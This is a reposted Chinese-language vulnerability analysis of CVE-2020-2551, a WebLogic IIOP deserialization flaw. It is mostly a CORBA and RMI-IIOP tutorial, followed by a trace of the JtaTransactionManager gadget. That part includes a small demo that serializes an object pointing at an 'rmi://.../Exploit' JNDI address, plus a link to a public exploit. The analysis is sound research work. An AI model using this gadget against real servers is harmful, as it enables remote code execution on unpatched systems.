CVE-2020-2551: Weblogic IIOP反序列化漏洞分析
2020-03-25 10:55:22 Author: xz.aliyun.com(查看原文) 阅读量:335 收藏

IDL与Java IDL

IDL(Interface Definition Language)接口定义语言,它主要用于描述软件组件的应用程序编程接口的一种规范语言。它完成了与各种编程语言无关的方式描述接口,从而实现了不同语言之间的通信,这样就保证了跨语言跨环境的远程对象调用。

JAVA IDL是一个分布的对象技术,允许其对象在不同的语言间进行交互。它的实现是基于公共对象代理体系(Common Object Request Brokerage Architecture,CORBA),一个行业标准的分布式对象模型。每个语言支持CORBA都有他们自己的IDL Mapping映射关系,IDL和JAVA的映射关系可以参考文档Java IDL: IDL to Java Language Mapping

在jdk安装后,会附带有idlj编译器,使用idlj命令可以将IDL文件编译成java文件

COBAR

CORBA(Common ObjectRequest Broker Architecture)公共对象请求代理体系结构,是由OMG组织制订的一种标准分布式对象结构。其提出是为了解决不同应用间的通信,曾是分布式计算的主流技术。

CORBA结构分为三部分:

  • naming service
  • client side
  • servant side

他们之间的关系简单理解为:client side从naming service中获取服务方servant side信息。servant side需要在naming service中注册,这样client side在要访问具体内容时会先去naming service查找,以找到对应的servant side服务。

可以理解为目录与章节具体内容具体关系:naming service目录,servant side为内容,目的就是为了让client side快速从目录找到内容。

CORBA通信过程

在CORBA客户端和服务器之间进行远程调用模型如下:

在客户端,应用程序包含远程对象的引用,对象引用具有存根(stub)方法,存根方法是远程调用该方法的替身。存根实际上是连接到ORB(Object Request Broker)对象请求代理的,因此调用它会调用ORB的连接功能,该功能会将调用转发到服务器。

在服务器端,ORB使用框架代码将远程调用转换为对本地对象的方法调用。框架将调用和任何参数转换为其特定于实现的格式,并调用客户端想要调用的方法。方法返回时,框架代码将转换结果或错误,然后通过ORB将其发送回客户端。

在ORB之间,通信通过IIOP(the Internet Inter-ORB Protocol)互联网内部对象请求代理协议进行。基于标准TCP/IP Internet协议的IIOP提供了CORBA客户端和服务端之间通信的标准。

使用JAVA IDL编写CORBA分布式应用

编写IDL

CORBA使用IDL供用户描述程序接口, 所以这里第一步就是编写idl描述接口,创建Hello.idl文件:

module HelloApp
{
    interface Hello
    {
        string sayHello();
    };
};

该段代码描述了Hello接口中包含sayHello()方法,他会返回字符串类型数据。

编译生成client side classes

接着使用JAVA的IDL编译器idlj,将idl文件编译成class文件:

idlj -fclient Hello.idl

创建了一个新目录HelloApp,并生成了5个新文件:

他们之间的关系如下图所示:

图片来源:An Introduction To The CORBA And Java RMI-IIOP

参考代码,简单概括一下:

  • HelloOperations接口中定义sayHello()方法
  • Hello继承了HelloOperations
  • _HelloStub类实现了Hello接口,client side使用hello接口调用servant side
  • HelloHelper类实现网络传输,数据编码和解码的工作。

详细分析一下几段核心代码,先来看一下_HelloStub.javasayHello()的实现:

public String sayHello ()
  {
            org.omg.CORBA.portable.InputStream $in = null;
            try {
                org.omg.CORBA.portable.OutputStream $out = _request ("sayHello", true);
                $in = _invoke ($out);
                String $result = $in.read_string ();
                return $result;
            } catch (org.omg.CORBA.portable.ApplicationException $ex) {
                $in = $ex.getInputStream ();
                String _id = $ex.getId ();
                throw new org.omg.CORBA.MARSHAL (_id);
            } catch (org.omg.CORBA.portable.RemarshalException $rm) {
                return sayHello (        );
            } finally {
                _releaseReply ($in);
            }
  } // sayHello

使用org.omg.CORBA.portableInputStreamOutputStream来表示调用的请求和响应,通过_request()_invoke()方法调用得到结果。

另外在HelloHelper类中负责处理对象网络传输的编码和解码,来看一下narrow方法:

public static HelloApp.Hello narrow (org.omg.CORBA.Object obj)
  {
    if (obj == null)
      return null;
    else if (obj instanceof HelloApp.Hello)
      return (HelloApp.Hello)obj;
    else if (!obj._is_a (id ()))
      throw new org.omg.CORBA.BAD_PARAM ();
    else
    {
      org.omg.CORBA.portable.Delegate delegate = ((org.omg.CORBA.portable.ObjectImpl)obj)._get_delegate ();
      HelloApp._HelloStub stub = new HelloApp._HelloStub ();
      stub._set_delegate(delegate);
      return stub;
    }
  }

接受一个org.omg.CORBA.Object对象作为参数,返回stub。

编译生成servant side

执行命令:

idlj -fserver Hello.idl

会生成三个文件,除了HelloPOA.java,其余都是一样的。

POA(Portable Object Adapter)是便携式对象适配器,它是CORBA规范的一部分。这里的这个POA虚类是servant side的框架类,它提供了方法帮助我们将具体实现对象注册到naming service上。

来看一下其核心代码:

public abstract class HelloPOA extends org.omg.PortableServer.Servant
 implements HelloApp.HelloOperations, org.omg.CORBA.portable.InvokeHandler
{

  // Constructors

  private static java.util.Hashtable _methods = new java.util.Hashtable ();
  static
  {
    _methods.put ("sayHello", new java.lang.Integer (0));
  }

  public org.omg.CORBA.portable.OutputStream _invoke (String $method,
                                org.omg.CORBA.portable.InputStream in,
                                org.omg.CORBA.portable.ResponseHandler $rh)
  {
    org.omg.CORBA.portable.OutputStream out = null;
    java.lang.Integer __method = (java.lang.Integer)_methods.get ($method);
    if (__method == null)
      throw new org.omg.CORBA.BAD_OPERATION (0, org.omg.CORBA.CompletionStatus.COMPLETED_MAYBE);

    switch (__method.intValue ())
    {
       case 0:  // HelloApp/Hello/sayHello
       {
         String $result = null;
         $result = this.sayHello ();
         out = $rh.createReply();
         out.write_string ($result);
         break;
       }

       default:
         throw new org.omg.CORBA.BAD_OPERATION (0, org.omg.CORBA.CompletionStatus.COMPLETED_MAYBE);
    }

    return out;
  } // _invoke

//...

值得注意的是他也实现了HelloOperations接口,代码的最开始将sayHello方法放入一个hashtable中,_invoke方法中,将调用sayHello()的结果通过org.omg.CORBA.portable.ResponseHandler对象通过网络传输到client side。

此时idjl生成的全部class的关系图:

接下来,要做的就是用户自己实现client side和servant side中具体的方法操作。

servant side实现

对于servant side而言,实现一个HelloImpl类来继承HelloPOA类实现sayHello()方法:

package HelloApp;
import org.omg.CORBA.ORB;

public class HelloImpl extends HelloPOA {

    private ORB orb;

    public void setORB(ORB orbVal) {
        orb = orbVal;
    }

    @Override
    public String sayHello() {
        return "\nHello, world!\n";
    }

}

此时的继承关系如下:

接着,需要写一个服务端HelloServer类来接受client side对HelloImpl.sayHello()的调用。

三个部分:

  • 第一部分根据传入的name service地址参数来创建,根据CORBA的规范,通过ORB获取一个名称为RootPOAPOA对象。(其中name service由jdk中的orbd提供)
  • 第二部分就是将具体实现类注册到naming service中,用orb获取到name service,将HelloImpl对象以Hello为名绑定。
  • 第三部分就是将server设置为监听状态持续运行,用于拦截并处理client side的请求,返回相应的具体实现类。

Client Side实现

package HelloApp;


import org.omg.CORBA.ORB;
import org.omg.CosNaming.NamingContext;
import org.omg.CosNaming.NamingContextExt;
import org.omg.CosNaming.NamingContextExtHelper;
import org.omg.CosNaming.NamingContextHelper;

import java.util.Properties;

public class HelloClient {

    static Hello helloImpl;

    public static void main(String[] args) throws Exception {

        ORB orb = ORB.init(args, null);

        org.omg.CORBA.Object objRef = orb.resolve_initial_references("NameService");

        NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef);

        String name = "Hello";
        // helloImpl的类型为_HelloStub,而不是真正的helloImpl
        helloImpl = HelloHelper.narrow(ncRef.resolve_str(name));

        System.out.println(helloImpl.sayHello());

    }
}

首先和服务端一样,需要初始化ORB,通过ORB来获取NameService并将其转换成命名上下文。之后通过别名在命名上下文中获取其对应的Stub,调用Stub中的sayhello()方法,这个时候才会完成client side向servant side发送请求,POA处理请求,并将具体实现的HelloImpl包装返回给client side。

naming service实现

ORBD可以理解为ORB的守护进程(daemon),其主要负责建立客户端(client side)与服务端(servant side)的关系,同时负责查找指定的IOR(可互操作对象引用,是一种数据结构,是CORBA标准的一部分)。ORBD是由Java原生支持的一个服务,其在整个CORBA通信中充当着naming service的作用,可以通过一行命令进行启动:

orbd -ORBInitialPort 1050 -ORBInitialHost 127.0.0.1

执行

接着分别在HelloServerHelloClient配置name service地址:

其次依次启动name serviceHelloServerHelloClient结果如上图所示。

此外,除了上述先获取NameServer,后通过resolve_str()方法生成(NameServer方式)的stub,还有两种:

  • 使用ORB.string_to_object生成(ORB生成方式)
  • 使用javax.naming.InitialContext.lookup()生成(JNDI生成方式)

代码分别如下:
orb方式

public class HelloClietORB {

    static Hello helloImpl;

    public static void main(String[] args) throws Exception {
        ORB orb = ORB.init(args, null);
        org.omg.CORBA.Object obj = orb.string_to_object("corbaname::127.0.0.1:1050#Hello");
        Hello hello = HelloHelper.narrow(obj);
        System.out.println(hello.sayHello());
    }
}

public class HelloClientORB2 {

    static Hello helloImpl;

    public static void main(String[] args) throws Exception {

        ORB orb = ORB.init(args, null);
        org.omg.CORBA.Object obj = orb.string_to_object("corbaloc::127.0.0.1:1050");
        NamingContextExt ncRef = NamingContextExtHelper.narrow(obj);
        Hello hello = HelloHelper.narrow(ncRef.resolve_str("Hello"));
        System.out.println(hello.sayHello());
    }

}

JDNI方式:

public class HelloClientJNDI {

    static Hello helloImpl;

    public static void main(String[] args) throws Exception {
        ORB orb = ORB.init(args, null);
        Hashtable env = new Hashtable(5, 0.75f);
        env.put("java.naming.corba.orb", orb);
        Context ic = new InitialContext(env);
        Hello helloRef = HelloHelper.narrow((org.omg.CORBA.Object)ic.lookup("corbaname::127.0.0.1:1050#Hello"));
        System.out.println(helloRef.sayHello());
    }
}

CORBA网络流量分析

servant side

服务端流量大致分为两个部分:

  • 获取Naming Service
  • 注册servant side

获取Naming Service的流量如下:

在返回的响应中,拿到了RootPOA

对应的代码为:

接着检测获取到的NamingService对象是否为NamingContextExt类的示例:

对应代码:

最后发送op=to_nameop=rebind两个指令:


分别为设置引用名,和设置绑定信息,来看一下op=rebind的数据包:

这里通过IOR信息表示了servant side的相关rpc信息。

client side

这里以NameServer方式生成stub为例:

RMI-IIOP

RMI-IIOP出现以前,只有RMI和CORBA两种选择来进行分布式程序设计,二者之间不能协作。RMI-IIOP综合了RMI和CORBA的优点,克服了他们的缺点,使得程序员能更方便的编写分布式程序设计,实现分布式计算。

Demo: RMI-IIOP远程调用

参考文档Tutorial: Getting Started Using RMI-IIOP所述,一共四个步骤,对应的文件如下:

  • 定义远程接口类:HelloInterface.java
  • 编写实现类:HelloImpl.java, 实现接口HelloInterface
  • 编写服务端类:HelloServer.java, RMI服务端实例远程类,将其绑定到name service中
  • 编写客户端类:HelloClient.java, 调用远程方法sayHello()

实现接口类,必须要实现Remote远程类,且抛出java.rmi.RemoteException异常。
HelloInterface.java

import java.rmi.Remote;

public interface HelloInterface extends java.rmi.Remote {
    public void sayHello( String from ) throws java.rmi.RemoteException;
}

实现接口类,必须写构造方法调用父类构造方法,给远程对象初始化使用,同时要实现一个方法给远程调用使用(sayHello())
HelloImpl.java

import javax.rmi.PortableRemoteObject;

public class HelloImpl extends PortableRemoteObject implements HelloInterface {
    public HelloImpl() throws java.rmi.RemoteException {
        super();     // invoke rmi linking and remote object initialization
    }

    public void sayHello( String from ) throws java.rmi.RemoteException {
        System.out.println( "Hello from " + from + "!!" );
        System.out.flush();
    }
}

编写服务端,创建servant实例,绑定对象。
HelloServer.java

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.util.Hashtable;

public class HelloServer {
    public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";

    public static void main(String[] args) {
        try {
            //实例化Hello servant
            HelloImpl helloRef = new HelloImpl();

            //使用JNDI在命名服务中发布引用
            InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050");
            initialContext.rebind("HelloService", helloRef);

            System.out.println("Hello Server Ready...");

            Thread.currentThread().join();
        } catch (Exception ex) {
            ex.printStackTrace();
        }
    }

    private static InitialContext getInitialContext(String url) throws NamingException {
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env.put(Context.PROVIDER_URL, url);
        return new InitialContext(env);
    }
}

编写客户端类,远程调用sayHello()方法。
HelloClient.java

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import java.util.Hashtable;
public class HelloClient {
    public static void  main( String args[] ) {
        Context ic;
        Object objref;
        HelloInterface hi;

        try {

            Hashtable env = new Hashtable();
            env.put("java.naming.factory.initial", "com.sun.jndi.cosnaming.CNCtxFactory");
            env.put("java.naming.provider.url", "iiop://127.0.0.1:1050");

            ic = new InitialContext(env);

            // STEP 1: Get the Object reference from the Name Service
            // using JNDI call.
            objref = ic.lookup("HelloService");
            System.out.println("Client: Obtained a ref. to Hello server.");

            // STEP 2: Narrow the object reference to the concrete type and
            // invoke the method.
            hi = (HelloInterface) PortableRemoteObject.narrow(
                    objref, HelloInterface.class);
            hi.sayHello( " MARS " );

        } catch( Exception e ) {
            System.err.println( "Exception " + e + "Caught" );
            e.printStackTrace( );
        }
    }
}

编译
编译远程接口实现类:

javac -d . -classpath . HelloImpl.java

给实现类创建stub和skeleton(简单理解即jvm中的套接字通信程序):

rmic -iiop HelloImpl

执行完后会创建两个文件:

  • _HelloInterface_Stub.class: 客户端的stub
  • _HelloImpl_Tie.class:服务端的skeleton

编译:

javac -d . -classpath . HelloInterface.java HelloServer.java HelloClient.java

运行
开启Naming Service:

orbd -ORBInitialPort 1050 -ORBInitialHost 127.0.0.1

运行客户端服务端:

java -classpath .  HelloServer
java -classpath .  HelloClient

上述客户端服务端代码如果在InitialContext没传入参数可以像文档中所述通过java -D传递

结果

weblogic10.3.6版本,jdk8u73版本

采坑,记得weblogic版本、rmi服务、exp版本都一致

EXP:https://github.com/Y4er/CVE-2020-2551

这个该漏洞借助IIOP协议触发反序列化,结合对JtaTransactionManager类的错误过滤,导致可以结合其触发其类的JNDI注入造成RCE的效果。

JtaTransactionManager Gadget分析

weblogic中自带的一个Spring框架的包:/com/bea/core/repackaged/springframework/transaction/jta/JtaTransactionManager#readObject

在反序列化调用readObject时,会调用initUserTransactionAndTransactionManager方法:

接着调用this.lookupUserTransaction方法,传入成员变量this.userTransactionName:

获取this.getJndiTemplate()后,在/com/bea/core/repackaged/springframework/jndi/JndiTemplate#lookup

到这里通过控制userTransactionName属性,进行JNDI注入:

demo:

public class jnditest {
    public static void main(String[] args){
        JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
        jtaTransactionManager.setUserTransactionName("rmi://127.0.0.1:1099/Exploit");
        serialize(jtaTransactionManager);
        deserialize();
    }

    public static void serialize(Object obj) {
        try {
            ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("jndi.ser"));
            os.writeObject(obj);
            os.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void deserialize() {
        try {
            ObjectInputStream is = new ObjectInputStream(new FileInputStream("jndi.ser"));
            is.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

后来翻了一下资料,在CVE-2018-3191中使用的就是该gadget,当时结合T3协议进行反序列化,修复方案将JtaTransactionManager的父类AbstractPlatformTransactionManager加入到黑名单列表了,T3协议使用的是resolveClass方法去过滤的,resolveClass方法是会读取父类的,所以T3协议这样过滤是没问题的。但是在IIOP协议这里,也是使用黑名单进行过滤,但不是使用resolveClass方法去判断的,这样默认只会判断本类的类名,而JtaTransactionManager类是不在黑名单列表里面的,它的父类才在黑名单列表里面,这样就可以反序列化JtaTransactionManager类了,从而触发JNDI注入。

Context的生成以及bind的流程(servant side)

在上文中RMI-IIOP的客户端demo中,分为三个步骤:

  • 从Name Service中获取Conetext对象
  • 从Name Service中查询指定名称所对应的引用
  • 调用远程方法

先来看第一个过程,无论是客户端还是服务端都要进行的的一个步骤:InitialContext方法中将env参数传入,进行初始化:

经过几次调用,一直跟进到javax/naming/spi/NamingManager.java#getInitialContext方法

可以看到在这里将我们传入的env对应的工厂类进行获取,我们来找一下,在weblogic中有多少个可以加载的工厂类,找到InitialContextFactory接口(ctrl+h查看依赖树)

这里直接来看WLInitialContextFactory类:

/wlserver_10.3/server/lib/wls-api.jar!/weblogic/jndi/Environment#getContext

getInitialContext方法中,到这里其实就是CORBA的解析流程了,

简单跟一下string_to_object方法,这里其实就是上文中CORBA的stub生成三种方式所对应的协议:

  • IOR
  • Corbaname
  • Corbaloc

再来看getORBReference方法,其实就是CORBA初始化orb获取Name Service的过程:

对应CORBA中代码:

再来看一下Conetext的绑定过程:/corba/j2ee/naming/ContextImpl

可以看到这个过程其实就是CORBA生成IOR的过程,指定java类型交互的约定为tk_value,设定op为rebind_any,存储序列化数据到any类,待client side调用。

其实在分析这里之前一直有一个问题无法理解,一直以为weblogic是orbd+servant side,而我们写的exp是client side,在和@Lucifaer师傅学习后,其实对于weblogic的orbd而言,servant side和client side都是客户端,而weblogic(orbd)是在处理servant side的时候解析数据造成反序列化的问题。

到这里servant side的注册就结束了,下面来分析一下weblogic是如何对其进行解析的。

weblogic解析流程

weblogic解析请求的入口开始:weblogic/rmi/internal/wls/WLSExecuteRequest#run

完整调用栈在下文,这里选取几个比较关键的点来分析:weblogic/corba/idl/CorbaServerRef#invoke

先是判断请求类型是否为objectMethods已经存在的,这里是rebind_any,不存在则调用this.delegate._invoke方法,然后将方法类型,IIOPInputStream数据传入_invoke函数:

rebind_any指令类型对应的var5为1,进入var2.read_any()


这里的this.read_TypeCode()即上文中Context bind中的tk_value设置的交互类型,在weblogic/corba/idl/AnyImpl#read_value_internal对应case 30,同时这里的Any类型,在上文Context分析中正式我们将序列化数据插入的地方。

跟进weblogic/corba/utils/ValueHandlerImpl

在这里var2为ObjectStreamClass,调用其readObject方法。继续跟readObject

反射调用JtaTransactionManagerreadObjectcom/bea/core/repackaged/springframework/transaction/jta/JtaTransactionManager#readObject

最后就是jndi注入了:

完整调用栈:

在分析EXP时个人有一点疑惑,记录一下分析和解决的过程。

参考Y4er/CVE-2020-2551,这里我们结合IIOP servant side的demo来看:

上图为EXP,下图为IIOP服务端,这里有一点需要注意的是,在demo中HelloImpl类继承了HelloInterface实现了java.rmi.Remote远程类的继承:

回过头来看JtaTransactionManager类的接口:

正是这个原因才需要我们在编写EXP的时候,需要将jtaTransactionManager通过反射,动态转换成remote达到远程调用的目的。

在自己动手分析之前,我一直把weblogic当成servant side和orbd(name Service),也无法理解为什么EXP要和COBAR的servant side一样用rebind注册,后来在@Lucifaer师傅的帮助下才理解这里没有client side的参与,而对于Name Service而言这两者都是客户端。

其次这种漏洞IIOP只是载体,JtaTransactionManager为gadget,官方修复也仅仅只是添加黑名单,IIOP的问题没根本解决,再爆一个gadget又得修,问题源源不断。更坑爹的是官网直接下的weblogic连黑名单都没有,个人觉得防御这种问题单纯靠waf流量检测根本防不住,没有反序列化特征,二进制数据流。要防范这类新问题的产生,或许只有RASP的行为检测才能解决。

参考文章:


文章来源: http://xz.aliyun.com/t/7422
如有侵权请联系:admin#unsafe.sh